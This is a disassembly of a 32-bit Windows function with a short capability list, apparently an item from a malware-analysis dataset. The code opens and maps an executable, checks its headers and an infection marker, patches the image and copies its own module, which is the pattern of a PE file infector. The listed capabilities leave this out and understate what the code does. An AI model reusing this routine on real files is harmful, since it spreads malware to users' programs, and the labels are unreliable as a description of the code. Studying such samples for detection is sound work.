Function at 0x10007a50
Capabilities:
Copy file
Parse pe header
Print debug messages

Disassembly:
sub esp, 0x464
push ebx
mov eax, dword [esp + 0x46c]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
mov ecx, 0x10
mov esi, 0x10001450
lea edi, [esp + 0x34]
push 0
push 0xc0000000
rep movsd dword es:[edi], dword [esi]
push eax
mov dword [esp + 0x2c], 0x18
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x18], esi
je 0x10007b28
push 0
push 0
push 0
push 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x14], ebp
je 0x10007b28
push 0
push 0
push 0
push 0xf001f
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
mov dword [esp + 0x20], edi
je 0x10007b28
cmp word [edi], 0x5a4d
jne 0x10007c1b
mov ecx, dword [edi + 0x3c]
mov eax, dword [ecx + edi]
lea ebx, [ecx + edi]
cmp eax, 0x4550
jne 0x10007b15
cmp word [edi + 0x28], 0x3834
je 0x10007b15
cmp word [ebx + 0x5c], 2
jne 0x10007b15
mov edx, dword [ebx + 0x108]
mov ecx, dword [ebx + 0x100]
sub edx, ecx
cmp edx, 0x40
jge 0x10007b36
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call edi
push esi
call edi
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x464
ret
push 0x10001440
push 0x10001424
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 3
mov ebp, dword [esp + 0x10]
mov edx, eax
mov ecx, ebp
sub ebp, 8
shr edx, cl
dec esi
mov dword [esp + 0x10], ebp
mov byte [esp + esi + 0x43], dl
jns 0x10007b52
mov eax, dword [ebx + 0x10c]
mov ecx, dword [ebx + 0x100]
mov ebp, 0x10
mov dword [esp + 0x10], 0x18
lea esi, [ecx + eax]
mov ecx, dword [ebx + 0x2c]
sub ecx, eax
mov eax, esi
lea edx, [esi + edi]
mov edi, dword [ebx + 0x28]
mov dword [esp + 0x1c], edx
xor edx, edx
div ebp
test edx, edx
je 0x10007ba5
lea esi, [eax + 1]
shl esi, 4
mov ebp, dword [esp + 0x10]
add esi, ecx
sub edi, esi
mov dword [ebx + 0x28], esi
sub edi, 0x3f
mov esi, 3
mov eax, edi
mov ecx, ebp
shr eax, cl
sub ebp, 8
dec esi
mov byte [esp + esi + 0x60], al
jns 0x10007bb8
mov edi, dword [esp + 0x1c]
mov eax, edi
and eax, 0xf
je 0x10007bdc
mov ecx, 0x10
sub ecx, eax
add edi, ecx
mov ecx, 0xf
lea esi, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x20]
mov word [edi + 0x28], 0x3834
mov eax, dword [ebx + 0x100]
add eax, 0x40
mov ecx, eax
and ecx, 0xf
je 0x10007c0d
mov edx, 0x10
sub edx, ecx
add eax, edx
mov ebp, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
mov dword [ebx + 0x100], eax
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call edi
push esi
call edi
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x66]
mov word [esp + 0x64], si
mov word [esp + 0x26c], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x26e]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x478]
stosw word es:[edi], ax
lea eax, [esp + 0x64]
push eax
push ecx
call fcn.10007a10
add esp, 8
lea edx, [esp + 0x64]
push 0x10001410
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [0x1001e86c]
lea eax, [esp + 0x26c]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x26c]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea eax, [esp + 0x64]
push esi
lea ecx, [esp + 0x270]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x464
ret